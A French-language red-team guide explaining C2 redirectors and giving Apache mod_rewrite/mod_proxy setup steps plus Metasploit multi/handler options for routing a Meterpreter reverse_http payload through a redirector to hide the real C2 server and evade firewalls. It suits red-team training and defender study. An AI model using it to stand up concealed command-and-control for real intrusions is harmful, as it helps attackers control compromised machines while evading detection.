↗️Redirecteurs

👇 Qu'est-ce qu'un Redirecteur?

Les redirecteurs de commande et de contrôle (C2) sont des serveurs qui redirigent les requêtes HTTP/HTTPS en fonction des informations contenues dans le corps de la requête HTTP. Ces redirecteurs sont utilisés dans les opérations avancées d'adversaires pour cacher la véritable adresse du serveur de commande et de contrôle. Dans ce guide, nous explorerons ce qu'est un redirecteur, pourquoi il est utilisé et comment le configurer.

📋 Pourquoi utiliser un Redirecteur?

L'utilisation d'un redirecteur dans les opérations d'adversaires permet de cacher la véritable adresse du serveur de commande et de contrôle. Cela garantit que toutes les informations collectées au cours de l'engagement sont sécurisées, même si le serveur C2 est compromis ou signalé. De plus, un redirecteur permet de contourner la détection par les pare-feu de nouvelle génération en masquant le trafic C2.

🛠️ Configuration d'un Redirecteur

La configuration d'un redirecteur implique l'utilisation d'Apache et de certains de ses modules, notamment "mod_rewrite", "mod_proxy" et "mod_headers". Voici les étapes pour configurer un redirecteur :

  1. Installer Apache 2 :

apt install apache2
  1. Activer les modules requis :

2enmod rewrite
a2enmod proxy
a2enmod proxy_http
a2enmod headers
  1. Modifier la configuration d'Apache :

    • Ouvrez le fichier de configuration /etc/apache2/sites-available/000-default.conf.

    • Activez le moteur de réécriture avec RewriteEngine On.

    • Utilisez une condition de réécriture pour filtrer sur l'agent utilisateur HTTP avec RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$".

    • Utilisez ProxyPass pour transmettre la requête à Metasploit avec ProxyPass "/" "http://localhost:8080/".

  2. Configurer Metasploit :

Voici un exemple de configuration Metasploit pour utiliser le payload windows/meterpreter/reverse_http avec un redirecteur :

  1. Ouvrez Metasploit :

msfconsole
  1. Utilisez le module exploit/multi/handler :

use exploit/multi/handler
  1. Définissez le payload sur windows/meterpreter/reverse_http :

set payload windows/meterpreter/reverse_http
  • LHOST (Local Host) : Adresse IP ou nom de domaine du serveur de redirection où les agents compromis envoient leurs connexions entrantes.

  • LPORT (Local Port) : Port sur le serveur de redirection où les connexions des agents compromis sont reçues.

  • ReverseListenerBindAddress : Adresse IP ou nom de domaine du serveur de redirection où le socket est lié pour écouter les connexions inverses des agents compromis.

  • ReverseListenerBindPort : Port sur le serveur de redirection où le socket est lié pour écouter les connexions inverses des agents compromis.

  • OverrideLHOST : Adresse IP ou nom de domaine du véritable serveur C2 vers lequel les connexions doivent être redirigées après avoir traversé le serveur de redirection.

  • OverrideLPORT : Port sur le véritable serveur C2 où les connexions des agents compromis sont redirigées.

  • HttpUserAgent : Nom d'utilisateur HTTP personnalisé utilisé dans les requêtes HTTP/HTTPS envoyées par les agents compromis pour masquer le trafic de C2.

  • OverrideRequestHost : Option pour remplacer l'en-tête Host dans les requêtes HTTP/HTTPS par l'adresse IP ou le nom de domaine spécifié dans OverrideLHOST. Assure que toutes les requêtes sont dirigées vers le véritable serveur C2 après la redirection.

Après la configuration, Metasploit sera configuré pour écouter les connexions entrantes sur l'adresse IP locale et le port spécifiés, avec tout le trafic HTTP/HTTPS passant par le serveur de redirection défini.

Last updated